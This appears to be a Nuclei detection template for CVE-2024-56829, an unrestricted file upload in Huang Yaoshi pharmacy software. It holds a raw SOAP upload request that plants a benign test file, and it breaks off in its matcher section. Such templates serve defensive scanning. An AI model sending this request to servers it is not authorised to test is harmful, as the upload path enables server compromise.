id: CVE-2024-56829 info: name: Huang Yaoshi Pharmaceutical Management Software - Unrestricted File Upload author: kosoyyagent severity: critical description: | Huang Yaoshi Pharmaceutical Management Software up to 16.0 contains an unrestricted file upload caused by accepting .asp filenames in the UploadFile element of a SOAP request to /XSDService.asmx, letting attackers upload arbitrary files, exploit requires sending a crafted SOAP request. impact: | Attackers can upload arbitrary files, potentially leading to remote code execution or server compromise. remediation: | Update to the latest version or apply security patches that restrict file types and validate file uploads. reference: - https://github.com/advisories/GHSA-66fj-74pq-7rwx - https://nvd.nist.gov/vuln/detail/CVE-2024-56829 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2024-56829 epss-score: 0.02059 epss-percentile: 0.81296 cwe-id: CWE-434 metadata: max-request: 1 vendor: huangyaoshi product: huang_yaoshi tags: cve,cve2026,huang_yaoshi,fileupload,rce,aspx,intrusive,vuln variables: filename: '{{rand_base(8)}}.txt' flow: http(1) && http(2) http: - raw: - | POST /XSDService.asmx HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/UploadFile" {{filename}} aGVsbG8gd29ybGQ= 1111 matchers-condition: and matchers: - type: word part: body words: - '